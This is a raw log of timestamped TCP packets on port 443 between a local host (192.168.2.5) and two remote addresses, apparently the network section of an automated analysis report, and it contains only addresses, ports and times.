Nov 7, 2024 23:48:01.960102081 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:01.961556911 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:01.961565018 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:01.961790085 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:01.966953039 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:02.011332989 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.271117926 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.271142006 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.271151066 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.271163940 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.271229982 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:02.271258116 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.271306992 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:02.272492886 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.272533894 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.272559881 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:02.272566080 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.272594929 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:02.273271084 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.273349047 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:02.300595045 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:02.300626040 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.300913095 CET	49952	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:48:02.300920010 CET	443	49952	20.12.23.50	192.168.2.5
Nov 7, 2024 23:48:02.520898104 CET	443	49954	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.521806955 CET	49954	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.521831989 CET	443	49954	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.522886992 CET	49954	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.522891998 CET	443	49954	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.601037025 CET	443	49955	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.628668070 CET	49955	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.628689051 CET	443	49955	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.629443884 CET	49955	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.629448891 CET	443	49955	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.630186081 CET	443	49956	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.630558968 CET	49956	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.630589962 CET	443	49956	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.630985975 CET	49956	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.630991936 CET	443	49956	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.681660891 CET	443	49954	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.681725979 CET	443	49954	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.681819916 CET	49954	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.682013988 CET	49954	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.682033062 CET	443	49954	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.682044983 CET	49954	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.682049990 CET	443	49954	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.684942007 CET	49957	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.684981108 CET	443	49957	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.685065031 CET	49957	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.685178041 CET	49957	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.685190916 CET	443	49957	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.753480911 CET	443	49955	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.753514051 CET	443	49955	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.753551006 CET	443	49955	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.753573895 CET	49955	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.753670931 CET	49955	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.754120111 CET	49955	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.754127979 CET	443	49955	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.754138947 CET	49955	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.754143953 CET	443	49955	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.756722927 CET	49958	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.756753922 CET	443	49958	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.756936073 CET	49958	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.757036924 CET	49958	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.757050991 CET	443	49958	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.758394957 CET	443	49956	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.758752108 CET	443	49956	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.758802891 CET	49956	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.758821011 CET	49956	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.758830070 CET	443	49956	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.758840084 CET	49956	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.758842945 CET	443	49956	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.760795116 CET	49959	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.760806084 CET	443	49959	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:02.760859013 CET	49959	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.760983944 CET	49959	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:02.760991096 CET	443	49959	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.480439901 CET	443	49958	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.488184929 CET	443	49959	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.525916100 CET	49958	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.542490959 CET	49959	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.710355043 CET	49958	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.710387945 CET	443	49958	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.711334944 CET	49958	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.711340904 CET	443	49958	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.712795973 CET	49959	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.712822914 CET	443	49959	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.713387966 CET	49959	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.713393927 CET	443	49959	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.835473061 CET	443	49958	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.835666895 CET	443	49958	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.836237907 CET	49958	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.842824936 CET	443	49959	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.842972040 CET	443	49959	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.843022108 CET	443	49959	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.843149900 CET	49959	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.875361919 CET	49958	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.875385046 CET	443	49958	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.875396013 CET	49958	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.875401974 CET	443	49958	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.899466038 CET	49959	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.899466038 CET	49959	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.899483919 CET	443	49959	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.899492979 CET	443	49959	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.916570902 CET	49960	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.916618109 CET	443	49960	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.916835070 CET	49960	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.917615891 CET	49960	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.917630911 CET	443	49960	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.918849945 CET	49961	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.918879986 CET	443	49961	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:03.919019938 CET	49961	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.919178009 CET	49961	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:03.919188976 CET	443	49961	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.399529934 CET	443	49948	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.410583973 CET	443	49953	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.437289953 CET	443	49957	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.447171926 CET	49948	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.460048914 CET	49948	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.460059881 CET	443	49948	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.460966110 CET	49948	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.460973978 CET	443	49948	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.462121010 CET	49953	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.462136030 CET	443	49953	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.463013887 CET	49953	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.463017941 CET	443	49953	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.465320110 CET	49957	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.465339899 CET	443	49957	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.465909958 CET	49957	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.465914965 CET	443	49957	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.594944000 CET	443	49957	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.595297098 CET	443	49957	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.595335007 CET	49957	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.595345974 CET	443	49957	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.595357895 CET	443	49957	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.595402002 CET	49957	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.595469952 CET	443	49948	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.595586061 CET	443	49948	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.595618963 CET	443	49948	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.595660925 CET	49948	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.612555027 CET	443	49953	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.612607002 CET	443	49953	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.612663984 CET	49953	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.614264011 CET	49957	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.614279032 CET	443	49957	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.615415096 CET	49948	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.615434885 CET	443	49948	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.615446091 CET	49948	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.615452051 CET	443	49948	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.618853092 CET	49953	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.618861914 CET	443	49953	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.618874073 CET	49953	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.618879080 CET	443	49953	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.646552086 CET	443	49960	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.650810957 CET	443	49961	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.686913013 CET	49960	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.702594042 CET	49961	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.733185053 CET	49960	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.733197927 CET	443	49960	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.734277964 CET	49960	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.734283924 CET	443	49960	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.735191107 CET	49961	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.735198021 CET	443	49961	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.736495018 CET	49961	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.736500025 CET	443	49961	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.803878069 CET	49962	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.803900003 CET	443	49962	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.803965092 CET	49962	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.806296110 CET	49963	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.806319952 CET	443	49963	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.806394100 CET	49963	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.807231903 CET	49962	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.807244062 CET	443	49962	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.810236931 CET	49964	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.810250044 CET	443	49964	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.810309887 CET	49964	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.810455084 CET	49964	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.810475111 CET	443	49964	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.834920883 CET	49963	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.834934950 CET	443	49963	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.860552073 CET	443	49960	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.860611916 CET	443	49960	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.860693932 CET	49960	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.863341093 CET	443	49961	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.863363028 CET	443	49961	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.863399029 CET	443	49961	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.863425016 CET	49961	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.863475084 CET	49961	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.874579906 CET	49960	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.874588966 CET	443	49960	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.879223108 CET	49961	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.879234076 CET	443	49961	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.879332066 CET	49961	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.879337072 CET	443	49961	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.894903898 CET	49965	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.894929886 CET	443	49965	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.895031929 CET	49965	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.895621061 CET	49965	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.895633936 CET	443	49965	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.896611929 CET	49966	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.896629095 CET	443	49966	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:04.896694899 CET	49966	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.897032976 CET	49966	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:04.897044897 CET	443	49966	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.537331104 CET	443	49964	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.538717031 CET	49964	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.538733959 CET	443	49964	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.540540934 CET	49964	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.540545940 CET	443	49964	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.550367117 CET	443	49962	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.551218033 CET	49962	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.551237106 CET	443	49962	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.551912069 CET	49962	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.551917076 CET	443	49962	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.564647913 CET	443	49963	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.569672108 CET	49963	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.569689035 CET	443	49963	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.570725918 CET	49963	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.570738077 CET	443	49963	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.631616116 CET	443	49966	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.632060051 CET	443	49965	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.632831097 CET	49966	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.632848978 CET	443	49966	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.633753061 CET	49966	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.633759975 CET	443	49966	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.635097980 CET	49965	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.635113001 CET	443	49965	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.636104107 CET	49965	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.636107922 CET	443	49965	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.667617083 CET	443	49964	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.667634010 CET	443	49964	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.667675972 CET	443	49964	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.667721033 CET	49964	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.667746067 CET	49964	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.668077946 CET	49964	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.668082952 CET	443	49964	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.668091059 CET	49964	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.668096066 CET	443	49964	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.672235966 CET	49967	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.672251940 CET	443	49967	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.672833920 CET	49967	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.673180103 CET	49967	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.673191071 CET	443	49967	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.697479963 CET	443	49963	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.697546005 CET	443	49963	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.698138952 CET	49963	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.698267937 CET	49963	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.698281050 CET	443	49963	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.698350906 CET	49963	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.698357105 CET	443	49963	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.702342987 CET	49968	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.702369928 CET	443	49968	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.702579975 CET	49968	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.703502893 CET	49968	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.703516006 CET	443	49968	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.707015038 CET	443	49962	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.707031965 CET	443	49962	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.707073927 CET	443	49962	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.707098007 CET	49962	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.707134008 CET	49962	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.708554029 CET	49962	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.708563089 CET	443	49962	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.708575010 CET	49962	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.708580017 CET	443	49962	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.711857080 CET	49969	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.711874962 CET	443	49969	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.712055922 CET	49969	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.712351084 CET	49969	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.712363958 CET	443	49969	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.785008907 CET	443	49965	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.785082102 CET	443	49965	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.785319090 CET	443	49966	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.785331011 CET	49965	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.786006927 CET	443	49966	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.786046982 CET	443	49966	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.786072969 CET	49966	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.786101103 CET	49966	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.787091017 CET	49965	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.787101984 CET	443	49965	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.787112951 CET	49965	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.787117958 CET	443	49965	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.789555073 CET	49966	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.789568901 CET	443	49966	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.792747021 CET	49970	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.792764902 CET	443	49970	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.793039083 CET	49970	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.794368982 CET	49971	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.794403076 CET	443	49971	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.794575930 CET	49971	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.795125961 CET	49970	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.795136929 CET	443	49970	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:05.795593977 CET	49971	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:05.795608044 CET	443	49971	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.405750990 CET	443	49967	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.424422979 CET	443	49968	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.447531939 CET	49967	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.465053082 CET	49968	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.470825911 CET	443	49969	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.514413118 CET	443	49971	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.520998001 CET	49969	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.568130016 CET	49971	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.573983908 CET	443	49970	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.627007961 CET	49970	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.627022982 CET	443	49970	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.631800890 CET	49970	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.631805897 CET	443	49970	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.633198977 CET	49967	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.633213043 CET	443	49967	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.633980989 CET	49967	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.633987904 CET	443	49967	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.635025024 CET	49968	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.635030031 CET	443	49968	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.635696888 CET	49968	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.635705948 CET	443	49968	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.637089968 CET	49969	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.637101889 CET	443	49969	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.638041973 CET	49969	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.638046980 CET	443	49969	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.639276028 CET	49971	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.639280081 CET	443	49971	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.640079021 CET	49971	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.640083075 CET	443	49971	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.759886980 CET	443	49968	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.759954929 CET	443	49968	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.760024071 CET	49968	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.760658026 CET	443	49967	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.760678053 CET	443	49967	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.760721922 CET	49967	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.760723114 CET	443	49967	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.760762930 CET	49967	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.763469934 CET	443	49970	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.763545990 CET	443	49970	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.763587952 CET	49970	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.765700102 CET	49968	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.765712023 CET	443	49968	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.765722990 CET	49968	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.765728951 CET	443	49968	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.766417027 CET	443	49971	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.766449928 CET	443	49971	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.766491890 CET	443	49971	13.107.246.45	192.168.2.5
